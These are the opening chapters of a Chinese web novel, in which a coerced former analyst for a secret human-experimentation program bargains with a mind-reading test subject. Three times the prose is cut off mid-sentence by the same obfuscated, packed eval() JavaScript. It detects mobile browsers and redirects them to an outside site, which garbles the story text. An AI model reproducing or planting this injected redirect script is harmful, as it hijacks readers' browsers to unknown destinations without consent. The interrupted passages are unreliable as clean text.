《逃!!!》 1. 任务 天桥底下,人声喧嚣。 乔韫坐在小马扎上,跷着二郎腿。 在她面前,是一个穿着碎花裤的女人。 “瞧瞧!你八字日柱甲申,这就叫……” 随着乔韫拖长尾音,她面前的女子也感到好一阵抓肝挠心,忙催促着问: “叫什么?” “‘十恶大……败’?” 不好。 乔韫尾音未落,余光便瞥到了一个影子。 一辆车的影子。 正以不紧不慢的速度,徐徐向乔韫开来。 乔韫立马动作起来,准备跑路。 “今天不算了!我修为不够,你找别人去吧!” “啊?” 女子见状,登时挂上一副哭脸,擒住乔韫小臂,叫她动弹不得: “大师,这可不行啊!我这……我还能找谁呢?大师,你一定要救救我啊……” 乔韫被她磨得没法儿,只好在随身挎着的包里翻出纸笔,草草写下一串数字,吩咐说: “喏,这是我师父的号码,你找他去!” 语罢,她立即收摊,风卷残云般,将地上的罗盘、卡牌、骰子卷进包里,收了个干净。 当然,这所谓的“师父”,也只是乔韫捏造的人物罢了。 女子被骗而不自知,仍愣愣发问: “欸,大师?” “山水有相逢,有缘再会、有缘再会哈!” 乔韫一心脱身,摆摆手,将身一跃,翻过路旁栏杆,闯进车流,引起一阵骚动。 “我k!什么人啊,碰瓷的?也太明目张胆了吧!” “眼睛长脚上了?这么横冲直撞的。” “赶着投胎啊?” …… 刹车声与埋怨声迭起,乔韫一边跑,一边还不忘应答“对不住”。 死腿,快跑啊! 乔韫咬牙,恨恨想道。 那辆车,她这辈子都不会认错。 ——DT3V,谛听计划专属座驾。 而谛听小组,则是乔韫的前东家,本来致力于为国家培养超级特工,结果“培养”到最后,竟成了一个专门研究“实验体”的地方。 一个,研究“异能”实验体的地方。 两年前,乔韫被谛听扫地出门。 ……因为她无意间弄死了一个实验体。 且是唯一的、成功的实验体:六号。 所以,用脚想也能想到——组织出现在她附近,必然没什么好事! 穿过车流,乔韫的体力已临近极限。 她能清晰地感知到喉头涌上的血腥气。 DT3V已不知何时,消失在了乔韫的视野里。 甩掉了? ——不,不对。 乔韫刚才的动作太过显眼,车里的人不可能注意不到。 在闹出那场事故后,乔韫特地沿着大路跑了一段,然后拐进巷子里,打算引诱来者绕到巷子尾堵她。 如果她没猜错,那辆车已经在巷尾等着乔韫自投罗网了。 但,乔韫在这座城市生活了两年,日日走街串巷的,对地形熟悉得多。 她只需要在这条巷子的半路,爬过一道墙,就能窜到另一条隐秘的小巷。 乔韫平复呼吸,将挎包带咬住,两手一攀,飞身过墙。 啪! 稳稳落地。 然而,就在她起身那一刻—— “乔韫,你跑得太慢了。” 一道熟悉的声音从她身后响起。 乔韫身形一僵,一股寒意自脊背升起。 可不过片刻,她便自如地理好头发,操起个还算友善的笑,转过身去。 “我当是谁呢,原来是江组长,真是——好久不见?” 江城子朝她一颔首,算是同她打过招呼。 乔韫继续道:“怎么,来找我叙旧?我现在业务繁忙,怕是不能赴你的约。” “你还是那么喜欢说废话。” 江城子不搭腔,径自侧身,示意乔韫跟上。 乔韫立在原地,并不动作。 “江组长这是什么意思?我不懂。” 江城子闻言,瞥她一眼,居然真大发好心地解释起来: “组织有任务,特地将你召回,跟我走吧。” 啧。 又是这副理所当然的嘴脸。 乔韫心下不喜,面上仍旧笑意盈盈。 “组织竟还信得过我?” “不然你以为,组织留你一命是为什么?” “当然是因为我长得好看,老大不忍心辣手摧花咯。” “我劝你少贫嘴,也不要想着做什么小动作。这次的任务,和九号有关。” 实验体九号? 说实话,乔韫对他,并没什么印象。 她曾经是,也只是六号的行为分析师。 通常来说,谛听是不会随意更换实验体小组成员的。 除非—— “九号小组的分析师搞不定他?” “是,”江城子回得很坦然。“九号……出现了一点特殊情况,组织综合考虑后,认为你是与他交涉的最佳人选。” “为什么?” 破天荒地,素来不苟言笑的江城子,在听到乔韫的疑问后,竟轻笑出声: “因为……你是唯一一个能把实验体骗到自杀的人,组织欣赏人才,也善用人才。” 乔韫:…… 这是在夸她吗? 她怎么感觉这更像是威胁呢? “如果我拒绝这个任务呢?” “那你今天可能走不出这个巷子了。” 乔韫:………… 怎么还强买强卖啊! 可乔韫何许人也?能屈能伸,是为大丈夫! 她立即打哈哈道:“江组长真会说笑,我怎么会不愿意接任务呢?组织看得起我,是我的福气呀。” 江城子闻言,便不再多话,大步流星向前带路。 乔韫亦步亦趋,生怕走慢了,自己的小命便保不住。 直到乔韫的目光落在那辆自己再熟悉不过的车上,她才禁不住扯了扯嘴角。 ——DT3V,外表低调如网约车,内里却是移动的钢铁堡垒,防弹防窥车窗只是基础,信号屏蔽仪、加密通讯线路、暗格里的武器…… 一旦坐进去,就彻底与世隔绝。 江城子打开车锁,还不忘绅士地替乔韫拉开副驾车门,一扬首,示意乔韫进去。 乔韫很是配合地坐上副驾。 她知道,接下来这段车程,才是真正交接任务的时间。 在外面,随时有被人窃听的可能,只有DT3V是绝对安全的领域。 因为—— “你接到乔乔啦?还挺快的嘛。跟她交接过了吗?” “切换导航模式。” “好的,正在为您规划路线……” DT3V具有指纹与声纹双重认证,除了车主,没有人能在这辆车上动手脚。 而车上这道AI人声,在更久之前,代表的是乔韫的队友——江临仙,亦即江城子的妹妹,于四年前出逃,被组织追回后自尽。 用江临仙的外形创造出这样一个AI,是江城子的主意。 他说,这样可以警示组员,防止再有组员产生二心。 好变态哦。 乔韫每每想到此事,都忍不住在心里如是想道。 “现在他们巴不得你再养出一个‘六号’。” 不出乔韫所料,引擎一发动,江城子便开始侃侃而谈。 这话激起了乔韫的好奇心:“详细说说?” “‘谛听’致力于为国家培养超级特工,如果进展顺利,有望训练出一支精武部队,在必要时刻,这支部队会成为重要的底牌。” “这些话我听得耳朵都要起茧子了,从我十三岁就开始说了吧?已经有十五年了。” “是啊,十五年了,直到三年前,谛听才首次做到真正意义上的‘突破人类生理极限’——六号,经由分析,他的身体素质可达到常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506298|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的数十倍……简直是怪物。他死后,谛听再造出的实验体只有两个能勉强达到他的生理水平。” “居然有两个?” “一个是五号,日休眠时间长达18小时,算是残次品;而另一个,就是你的任务:九号。” 说到这里,江城子意味深长地顿了顿,眼里流出一抹自豪。 “四个月前,操作人员对九号进行潜能刺激时,因能量过载,致使实验器材发生核心熔毁事故,瞬间释放的高维信息流直接冲击了九号的神经系统。 “常人在这种情况下的结局只会是脑死亡,可九号作为实验体,不仅承受住了冲击,神经结构似乎还因此发生了某种……进化。” 这种事情,乔韫自然前所未闻。 纵然有闻,她能听懂的部分也不超过一半。 没办法,术业有专攻嘛。 为了配合江城子的激情演讲,乔韫将手虚握成拳,放在嘴边,沉声问道: “所以,九号怎么样了?” “他拥有了读心术。” 乔韫:? “这是我的理解。用实验室那群人的话来说,就是……” “好了,打住。与其在这上面拓展,倒不如和我说说,九号现在是个什么情况、我的任务究竟是什么。” 江城子操纵方向盘,拐过一个弯,依言回道: “发生那件事后,九号开始拒绝合作,整整四个月,一句话也没说。所以,你的任务很简单:撬开他的嘴,让他配合实验。” 乔韫靠向椅背,无声地吸了口气。 江城子对她的状况视若无睹,继续补充道: “一周前,小莫发现将信号干扰器戴在耳后可以阻隔九号的读心路径,东西给你准备好了,在你身前的置物格里。 “按照旧计划,精武部队的出现必将伴随着国际在道德方面的讨伐,而九号的出现让我们意识到:不必组建军队,有太多事情可以靠读心术完成,这将是一场不流血的战争。 “九号最好能在未来几年内投入使用,我们没有太多时间。 “如果你的任务失败…… 江城子踩下刹车,轮胎与地面摩擦的尖锐“滋”声扎进乔韫耳畔。 透过单面防窥车窗,乔韫眼前只见一栋大楼,门口几个红色大字——上珧市精神卫生中心。 “你,和九号,都会被销毁。” 乔韫:??? 合着她不接任务是死,接任务也有很大概率死? 没有利诱,纯威逼啊。 乔韫正想开口为自己多争取一条活路,但江城子先一步打断了她: “到了,下车。” 乔韫这才惊觉线路不对:“总部不是在临昌市吗,什么时候还……” 还在上珧建了个分部,早知如此,她就不跑这儿来了。 江城子准备拉开车门的手一顿,回道:“啊,忘了和你说。九号实验体身上的未知因素太多,具有一定危险性,所以我们组带着九号迁到新分部了,就前两周的事。” 说完,他便头也不回,开车门、跨腿、旋身、关车门,动作一气呵成,流畅得像在演出。 下车后,江城子带着乔韫,绕开门诊楼,直直往住院部走去。 进入住院部电梯,按到负一层,再穿过地下停车场,到西北角的暗门,指纹解锁,专用电梯门打开,下到负二层,最后走过一段不到四十米的狭窄走道,便是最后一道大门。 江城子将整个手掌覆在这道与墙无异的门上。 3、 2、 1。 门无声打开。 二人先后进入,整个过程,没有任何交流。 直到身后的门合上,乔韫才稍稍放松肩膀。 她本想说“组织莫不是因为我才在上珧建分部”之类的打趣,在穿过走道时,受狭仄空间的胁迫,她想多问几句任务信息,比如“我什么时候、以什么身份去见九号”。 但现在,一切都不必多问。 九号,就在她面前。 2. 林听 准确地说,是九号“几乎”在她眼前。 一面巨大的单向玻璃隔绝内外。墙外,零星站着几个白大褂,专注操作着液晶屏; 墙内,则是九号的囚笼——桌椅床铺皆是透明材质,硬板床上连条毯子都没有。 最显眼的是墙上那块巨大屏幕,如瀑布般滚动着复杂的生理数据。 这大概是实验人员为监测九号读心动态而设置的。 乔韫心想。 而九号,正赤衤果着上身,脊背挺直,坐在透明椅上。 他的目光,穿透了防窥玻璃镜,精准锁定了乔韫。 这目光如有实质,让乔韫忽略了快步走来的小莫。 “乔韫,你就穿成这样过来了?”小莫的声音带着毫不掩饰的嫌弃。 乔韫这才回神,低头打量了下自己的着装。 白T、牛仔裤、运动鞋、帆布包,中规中矩,虽称不上惊艳,但如何也不至于沦为小莫口中嫌弃的“这样”。 小莫见她如此,心下了然,朝江城子睨了一眼: “你没跟她说,她这次的身份是‘礼仪老师’,对不对?” 江城子脸不红心不跳: “嗯。” “‘嗯’?你还好意思‘嗯’?!我不管你这金口有多难开,这好歹……” “好了好了,我现在不是知道了吗?有时间吵架,不如带我去换衣服——备用的服装总有吧?” 小莫做了个深呼吸,抬腕看表,抱臂回道:“没有,有也来不及换,现在是七点五十九分,还差一分钟,九号的礼仪课就要开始了。” ? 这么着急的吗? “他对时间很敏感,你最好别迟……到。” 尾音未落,小莫耳旁便闪过一阵风,等她回过神,眼前早已没有乔韫的身影。 乔韫暂时还没有去死的打算。 不管组织给的任务条件多苛刻,她都能忍。 见招拆招嘛,乔韫最擅长这个了。 不过,为什么是礼仪老师? 直接表明自己行为分析师的身份不是更方便吗? 还是说…… 乔韫一边大步走向等候多时的警卫,一边将头发束起,扎成个低马尾。临近门前,她抚上耳边的干扰器,确认无误后,向警卫微一颔首。 九号,抗拒行为分析师? 门訇然而开,险些震碎乔韫脸上得体的笑。 九号坐在实验屋中央,岿然不动。 如果的确像乔韫想的那样,九号抗拒接触行为分析师——那么,原因呢? 原因是什么? 乔韫脚步不停,径直走向室内仅剩的、给“礼仪老师”准备的椅子。 组织对谛听计划的候选者进行过全方位的打磨,礼仪是其中重要的一环,要求苛刻到近乎变态,站姿、坐姿、用餐、交谈,每一个细微的角度都有精确到毫的标准。 乔韫,很不幸,她礼仪课永远只是堪堪擦过及格线。 她在那张冰凉的椅子上坐下,腰背挺得笔直——显然,这并不出自礼仪,乔韫这样做,只是为了用相同的动作快速拉近她与九号的距离。 哪怕九号仍不出所料地维持着原来的姿势。 沉默,良久的沉默。 接下来该做什么? 如何以最快速度,取得九号的信任? 乔韫,静下来,好好想想…… 身为实验体,最渴望的是? 乔韫的目光扫过房间四角,最后落在九号身后的屏幕上。 那张屏幕几乎占据了一整面墙的空间,正不断滚动着各项生理数据。 她看不懂其中的大部分,但仍注意到,一切数据都平稳得死气沉沉。 这毫无波澜的线条本身,就是一种无声的酷刑。 “唉……” 乔韫叹了口气,打破二人间的死寂。 “我好奇很久了,这个大屏,时时刻刻监控着你的……心率?脑电波?——是为了让你‘自知’吗?”她刻意加重了最后两个字的音节,尾音拖长,仿佛一片羽毛搔刮过紧绷的琴弦。 “为了让你清清楚楚地‘看’见自己是如何被分解成一道道数据流,被分析、被评判、被定义? “你的任何波动,都成了‘罪过’吗?” 没有回应。 九号连眼睫都未曾颤动一下,乔韫的话语似乎只是投入深潭的石子,惊不起半点涟漪。 玻璃外,小莫环抱的手臂收紧,眉头拧成疙瘩,嘴唇无声开合了一下。 乔韫嘴角那抹似有若无的弧度加深了。 她不再看九号,而是低下头,仿佛在研究自己修剪整齐的指甲。 然后,在所有人毫无防备的瞬间——包括玻璃外死死盯着他俩的江城子和小莫——她抬起手,指尖抚向耳廓后方,动作随意得如同拂去一缕散落的发丝。 那个小巧的信号干扰器,被她轻轻摘下,信手丢弃于地面。 乔韫知道答案。 她一直都知道。 数年前,她身为六号的行为分析师,与六号深入交流过不少。 或许,只需要按哄骗六号的手段,就足以应付面前这个“九号”。 嗡——! 几乎在干扰器离体的同一时刻,九号身后的大屏飞速滚动起来,数据流登时陷入混乱,整个仪器发出沉闷的运转声。 一直如同石雕般凝固的九号,在此刻,身体骤然绷紧。 他的头颅从面向玻璃的方向,缓慢而坚定,一寸寸转向了乔韫。 “我靠!这是什么打法???” 小莫交缠的手松开,撑在操作台上,眉心纹拧得更深。不消片刻,她便作出行动,一甩手,眼看就要冲进实验屋。 “等等。” 江城子拉住她手腕。 “上面交代过,这次按乔韫的想法来。” 小莫怒极反笑:“这姐们儿想一出是一出的脾气,上头不清楚,你还不清楚?” 江城子一顿,坚持道:“她在‘下饵’。” 他的眼神在此时异常沉静,紧紧锁住玻璃内的身影。 紧紧锁住乔韫。 实验屋内。 乔韫迎上九号锐利的视线,挑衅般地眨了下眼。 她看见了,这双眼睛,终于有了“人气”。 【在听吗?】 九号眉头一跳。 【看来我收到的消息是真的。】 【让我猜猜……被关在这个玻璃鱼缸里当展览品的感想如何?被剥去衣物、戴上束缚带的滋味如何?】 乔韫的目光落在他起伏的胸肌上,眯起眼,脑子里浮现出九号被束缚在实验台上插满管线的画面,每一处细节都恰到好处地令某人不适。 【如果我没记错,你和“六号”是同一批实验体吧?】 【从小被关在笼子里……连女人的手都没机会牵。】 【要不要试试我的?】 霎时,仪器传来不堪重负的嗡鸣。 九号的身体绷紧,瞳孔微缩,失去了方才的冷硬,取而代之的,是几分难以言说的无措。 他猛地别开脸,试图切断乔韫所输送的烫人心念,但原本白玉般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506299|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳垂,正以肉眼可见的速度染上绯红。 玻璃外,实验员同样陷入了混乱,有人颤抖着在操作台上输入指令,有人手中的笔如褴褛飞旋。 小莫脸颊边的肉抖动着,咬牙质问: “‘下饵’?在拥有‘读心术’的九号面前?她疯了还是你疯了?” 江城子投以一瞥,其中意味不言而喻。 哪怕乔韫殉职,也与我们毫无干系。 小莫看懂了。 小莫闭嘴了。 小莫为乔韫默哀。 而乔韫作为这场骚动的始作俑者,不仅毫无“惹了麻烦”的自觉,反而将目光投向屏幕,专心致志欣赏着因她而起的数据风暴。 九号身上散发出的“人”的气息,愈发令她难以忽视起来。 虽然她非常希望这段令人愉悦的时光能继续延长,但…… 时机到了。 取得九号信任最关键的一步—— 乔韫微微倾身向前,隔着冰冷的空气,隔着奔逸的数据流,隔着九号剧烈起伏的胸腔,将最后一个念头,如烙印般打进九号意识深处: 【我可以带你逃离这里。】 【条件是……你为我取乐。】 实验体最渴望的是什么? ——自由。 乔韫给出的筹码是自由。 且乔韫自信九号并不会靠读心术识破这个“谎言”。 因为,她是认真的。 至少在此刻,乔韫是认真的。 如何做一个手段高明的骗子? ——先骗过自己。 数据仍在跳动,乔韫却感到周遭空气仿佛凝滞。 九号的嘴唇翕动起来。 “……姐姐。” 一道干涩的声线突兀又清晰地响起,让人想到被强行转动的生锈齿轮。 乔韫的心跳漏掉一拍。 这个称呼……让她意外,裹着依赖、讨好,甚至虔诚,如电流般猝不及防窜过乔韫的脊椎,带来一阵战栗。 九号恰如其分地蹙起眉头,平白多出一份我见犹怜的柔软。 他抬起手,按住自己的太阳穴,声音带上一丝颤抖,多一分显矫作,少一分则不够可怜: “我……头疼。” 随着话语落地,九号动了。 他动作快得不见残影,只一个眨眼,便来到乔韫跟前,为她打上一道阴影。 然后,阴影随着主人的动作弯腰,指尖敛起地上的信号干扰器,小心翼翼俯身,掠过乔韫耳畔,将干扰器放回它原本的位置。 世界被按下静音键。 乔韫被罩在阴影中,依旧维持着微微抬着下巴的姿势,一动不动。 耳后被他指尖擦过的那一小片皮肤,残留的触感如咒印般隐隐发烫。 下一秒,在众人目光未及处,乔韫瞪大双眼。 熟悉的声线闯进乔韫脑海,就在干扰器落下前一刻。 【成交。】 【你可以叫我……林听。】 乔韫的目光下意识转回大屏,却见数据平稳如常。 九号——或者说,林听——不仅拥有读心的能力,还拥有传递心声的能力,更重要的是,他瞒过了所有人。 乔韫了然一笑。 原来如此。 林听是个不擅长伪装的人,所以,他不敢面对行为分析师。 且他逃避的手段,是相当直白的“拒绝交流”。 乔韫身为相对安全的“礼仪老师”,暂且获得了林听的信任。 看来……这个任务并没有乔韫想象的那么困难。 3. 谎言 “很高兴能看见你活着出来,乔韫。” 江城子好整以暇地守在门口,眼里含笑,仿佛乔韫是凯旋而来的功臣。 “早知道这样,我刚才应该再虔心一点祈祷你死的。” 反观小莫,眉头紧锁,半叉着腰,摆出一副审问犯人的架势。 也难怪,实验体波动时,花心思为乔韫擦屁股的人可不是江城子。 乔韫散开头发,将手指插入发丝,懒洋洋梳理着。 “你俩一个唱红脸,一个唱白脸,准没好事。” 江城子这才敛去笑意:“你对九号做了什么?” “没什么,调又戈了一下。” “你和他做了交易,是吗?什么交易?” “嗯——我说我能带他离开。” “……” “胡闹!” 小莫再也按捺不住,厉声呵斥起来。 “九号的机体功能仍处在不稳定的状态,谁知道他出去后会发生什么,身体过载瘫痪、抑或发生新的进化,都有可能。退一万步讲,哪怕你不关心九号,也得评估一下这件事给组织带来的风险吧——谁能保证九号离开基地后还会乖乖回来?抓捕难度有多大,你莫非想不到?” 乔韫做作蹙眉,将手放在嘴边,睁大眼睛: “天呐,小莫,你居然真的仔细考虑了这件事,我好意外。” 小莫攥紧了拳头。 小莫狠狠做了几个深呼吸。 小莫挤出一个微笑。 莫生气、莫生气,气死我来谁如意…… “九号同意了?” 江城子沉吟许久,终于发问。 “嗯,同意了。” “目前还没人知道九号的‘读心’能到什么程度,究竟是被动接收他人意识表层信号,还是主动潜入到别人的潜意识层……你很有可能被他利用。” 若林听能把握的部分是意识层,那他能获取到他人的“心声”; 可如果林听把握的部分是潜意识层,便能全面地认识整个人,那么,预测对方的行为并不是难事,甚至可以说,简单得就像呼吸。 能被利用才有意思啊。 乔韫下意识想,但识趣地没说出声。 “我被戴上干扰器后才萌生出要忠于组织的想法,所以——小莫,你现在可以开始祈祷九号只能接触到意识层了。” 这句话有几分真,又有几分假? 乔韫也说不好。 她的确会毫不犹豫地选择“忠于组织”,一是迫于组织的威胁;二是,乔韫从有记忆以来,便生活在组织的阴影之下。 她打小被教育着,自己存在的意义在于“效力组织”,哪怕后来得到了其他层面的高等教育,“为组织效力”,早已成为乔韫下意识的反应。 所以,乔韫被扫地出门的这两年,既是她过得最顺遂的两年,也是她最迷茫的两年。 她渴望自由——这是毫无疑问的。 但,什么是自由? 它真的存在吗? 乔韫不知道。 没有人能为她解答这个问题。 江城子揉了揉眉心,叹口气,吩咐道:“小莫,你带乔韫去测谎室吧。” 测谎室,这也是乔韫非常熟悉的地方。 原因无他,单纯因为乔韫太爱说谎,并且擅于说谎。据说,在她进入组织后,测谎室的使用频率翻了整整一倍。 但乔韫从没因谎言被戳穿而显露出过半点不悦,与此相反,她享受被戳穿的过程。 测谎室,简直是乔韫的游戏屋。 “哎呀,这间测谎室比原来的新多了。” “那当然,江城子在收到要把你接回的任务时,做的第一件事就是在基地建一间测谎室——这个,‘判官四号’,可是最新版本。” 小莫一边说,一边麻利地将传感器贴在乔韫的太阳穴、指尖和胸口,金属传来的凉意使乔韫不自觉瑟缩一下。 紧接着,带着微型探头的头环箍住了乔韫的额发。 乔韫面前的“判官四号”被启动,基线开始平稳跳动。 最后,小莫架好摄像头,无声对准乔韫,记录着她的表情。 “纸笔要吗?” 小莫指了指储物区的办公工具,道:“需要整理思绪可以写下来。” 乔韫一只手撑着脸颊,另一只手绕上垂落的发丝,似乎漫不经心。 “不用。你知道我不需要这些。” “嗯,照例问询罢了。” 小莫落座于乔韫身侧:“我们开始吧。” “乔韫,”小莫的声音在密闭的房间里显得格外清晰,“你是否忠于组织,真心实意为组织效力,确保九号实验体最终服务于谛听计划的战略目标?” “当然。”乔韫挑眉,语气带着一丝恰到好处的委屈,仿佛对她来说,被质疑是件令人伤心的事,“这也要问吗?我人都在这儿了,任务也接了,难道还能有二心?组织给了我第二次机会,我很感激。” 屏幕上,代表情绪波动的曲线蹿升了一下,旋即被强行压下,但“判官四号”仍冷酷地亮起红色警示灯。 ——谎言。 小莫眉头都没动一下,继续问:“你是否真诚地与九号达成协议,要帮助他逃跑?” “是。”乔韫回答得干脆利落,“合作共赢嘛。” ——谎言。 “你是否制定了切实可行的策略来应对九号实验体,引导其配合实验,而非被其能力反制?” “当然有。”乔韫身体微微前倾,显出几分认真,“心理引导,行为干预,建立信任,循序渐进。我是专业的。”她甚至掰着手指头数了数,显得胸有成竹。 然而,“判官四号”的红灯闪烁,几乎要跳出来。 ——谎言。 每一次肯定的回答,都伴随着机器无情的否定。 乔韫看着那闪烁的灯光,眼底晦暗不明。 听起来有些莫名其妙,但——她也得靠测谎仪的判断,才能明确自己的想法。 这些红光,让她感到满足。 乔韫满足于测谎仪的冷漠,更甚之,她几乎在这台机器上感受到了爱意。 小莫看着屏幕上连绵不断的红色警报,最终放弃了常规问题。 她抱起手臂,语气嘲讽道:“乔韫,说实话,有时候我真觉得,像你这样满嘴跑火车的人,遇上九号那种能直接‘听’到谎言的怪物,也算是一物降一物。你……还真是倒霉。” 乔韫耸耸肩,不置可否。 小莫深吸口气,目光直直盯向乔韫。 “你对九号实验体,是否产生了超出任务需求的特殊情感?比如……同情?或别的什么。” “以公徇私?”乔韫勾起嘴角,笑得明媚,“小莫,你的问题越界了,我拒绝回答。” “这不是越界,是必要评估!” 小莫的声线陡然拔高,带着不容置疑的强硬,“他对你的精神冲击是显而易见的,我需要了解这冲击是否扭曲了你的判断,这是为了任务!请你回答,乔韫。” 寂静。 空气仿佛凝固。 乔韫脸上的玩世不恭收敛些许,她沉默几秒,迎着小莫逼视的目光,清晰地吐出两个字: “没有。” 语气平淡,毫无波澜。 嘀——! 刺耳的鸣声伴随着红灯响起,这是最强烈的谎言信号。 小莫得到了意料之中的答案,却感受不到半点胜利的喜悦,脸色反而变得更加难看。 “乔韫,你这种人,只适合在精神病院里待一辈子。” 乔韫不以为意:“大家如今不都在精神病院吗?你可真是‘聋子笑瘸子’。” “九号实验体是否让你联想到六号实验体?” “……这不是为了任务做出的提问。” “这是。回答我。” “是。” 没有鸣声,没有红光。 这个回答是真的。 小莫的手无声成拳,指甲嵌进掌腹。 “九号不是你的玩具,他是我、是我们整个团队呕心沥血的作品,是承载着谛听计划未来希望的关键所在!我可以服从上级安排,配合你完成任务,但我绝不会再眼睁睁地看着你像对待六号那样,把他当作你追求刺激的牺牲品。我发誓,如果你再乱来,我无论如何也会阻止你。 “……乔韫,你当初,究竟是为什么教唆六号自尽?” 小莫目眦欲裂,颈上隐有青筋暴起。 她对这些实验体拥有着“母爱”一般的本能,没有人认为不妥。 ——除了乔韫。 她实在想象不出,人究竟在何种情况下,才会对这些异类产生责任心与“爱”。 这些东西和手机、桌椅,甚至食物,没有任何不同,没了一个,还能再买……当然,这是对消费者而言。 对于“生产者”而言,它们便是维持生计的货物。 没有人会对货物感到不舍,对不对? 乔韫静静地听着,脸上最后一丝笑意消失,只剩下深不见底的平静。 她没有回答最后的问题。 小莫也不敢继续追问。 测谎室的门无声滑开,压抑的空气瞬间流通。 小莫拿着打印好的报告和存有录像的U盘,先一步走出门,将其重重地拍在等候在外的江城子手里,看也没看乔韫一眼,径直大步离开。 江城子扫了一眼报告上密密麻麻的警示标记,没给出任何多余的表情,将报告和U盘收好,从口袋里掏出一把车钥匙。 “你的车,停在B区07号位。是以前你用的那辆,一直封存着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506300|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他将背上的挎包卸下,递给乔韫。 “还有你的包,检查过了,没少东西。” 她的车……那辆曾经代表身份和束缚的DT3V。乔韫接过钥匙,掂了掂挎包,里面那些算命用的八卦镜、罗盘,以及几本翻烂的玄学书哗哗作响。 “我改变主意了。”就像小莫说的,乔韫“想一出是一出”。 “我要带九号走。” 江城子显然没想到乔韫会如此坦然地说出这个“计划”,下意识扶了扶眼镜,语气保持着平和: “理由?” “这是取得九号信任的最佳手段。” “何以见得?” “你给我安排的身份是‘礼仪老师’,这足够说明一件事:九号抗拒‘行为分析师’的活动,对吗?” 江城子点头:“是。他觉醒读心术后,与自己的行为分析师会过一次面,就是从那时起,他开始拒绝配合实验。” “因为行为分析师都是骗子,面上和善,背地里一心希望撬开实验体的嘴,以此汇报组织。”乔韫接话道。 “这就让拥有读心术的九号生出了戒心。” 江城子立刻理解了乔韫的意思,将她的言下之意点出。 “不错。所以要想再赢得九号的信任,就只能走一着险棋。” “可你的这步‘险棋’,已经超过组织的可控范围了。” 乔韫倏然抬头,目光直视江城子,语气带上不容置否的坚定: “难道你们还有更好的办法吗?” 江城子哑然。 乔韫乘胜追击:“至少我这回出手,不仅让九号开了口,还为组织获取了‘九号读心术的副作用是头疼’的情报。” 江城子的表情略有松动。 乔韫见状,话锋一转:“当年,六号是为‘自由’而死的。 “只要让九号得到自由,再让他明白‘自由’并不是什么好东西。 “——从此,便再也不需要担心他的忠诚有疑了。” 江城子镜片后的目光深邃难测,最终,他叹了口气: “我需要时间分析录像,仔细评估风险。等我消息。”他晃了晃手里的U盘,“微信通知你。现在,你可以回家了。” 好嘛,这家伙趁测谎的当口,把乔韫的手机黑了。 如果她没猜错,江城子不仅拷贝了自己手机里的全部信息,还顺便把她的“客户”删了个精光。 乔韫扯了扯嘴角,拎着包,转身走向地下停车场的B区。 空旷的通道里回响着她孤零零的脚步声。 穿过一道又一道仿佛数不尽的门,那辆熟悉的黑色DT3V出现在乔韫眼前。它安静地停在那里,像一个沉默的幽灵,等待着旧主的回归。 乔韫的手指抚过车门,指纹解锁发出轻微的“咔嗒”声。 她是唯一一个把指纹解锁区设在车外的成员,江城子曾警告她这样做会多出被人注意的风险,但乔韫并没听从建议。 她只是不希望任何人闯进自己的地盘。 乔韫拉开车门,坐了进去。 车内弥漫着一股淡淡的皮革气味。驾驶座的位置、方向盘的角度、中控台的布局,都和她印象中的分毫不差。 她将挎包随手扔在副驾,插入钥匙,启动引擎,低沉的嗡鸣声在车库中响起。 中控屏亮起,熟悉的操作界面浮现。 “江临仙。” “我在,乔乔你回……” “闭嘴。” “好的。” 乔韫不需要那个用江临仙声音说话的AI提醒自己身在何处。 抚上方向盘的瞬间,她眼里的漫不经心一扫而空,只剩下深不见底的疲惫。 嗯,疲惫。 挂挡,踩下油门。 DT3V悄无声息地滑出车位,驶向出口,驶向上珧市华灯初上的夜色。 车窗外流光溢彩的城市景象飞速倒退,映到她瞳孔里。 “嘀嗒”。 手机屏幕亮起,提醒主人查阅未读信息。 乔韫腾出手,划开手机屏幕。 ——果然,是江城子。 “还真有效率。” 乔韫嘟囔一声,点开微信,打开被置顶的对话框,屏幕上方只有淡淡的两个字: [批准。] 这个回答,乔韫并不意外,真正让她意外的,是回复的速度。 太快了,就像……早就知道她会提出这个方案一样。 正当她揣摩时,顶部栏的字体切换成“正在输入中……”。 乔韫静静等待几秒,新的消息弹了出来: [明早上午九点整,过来开会。] “……认真的吗,太不近人情了。” 她家离基地,足足横跨了三个区,要开近四个小时的车啊。 4. 计划 乔韫的车最终停在了上饶市老城区边缘的一个破败小区。 路灯昏黄,目测使用年限得超过二十年,也难为它们至今仍苟延残喘地闪烁着。 乔韫推开车门,锁好车,走向狭窄的楼道,熟练打开手机自带的手电筒,凭借这寸微弱的亮光向上摸索。 她住在五楼。 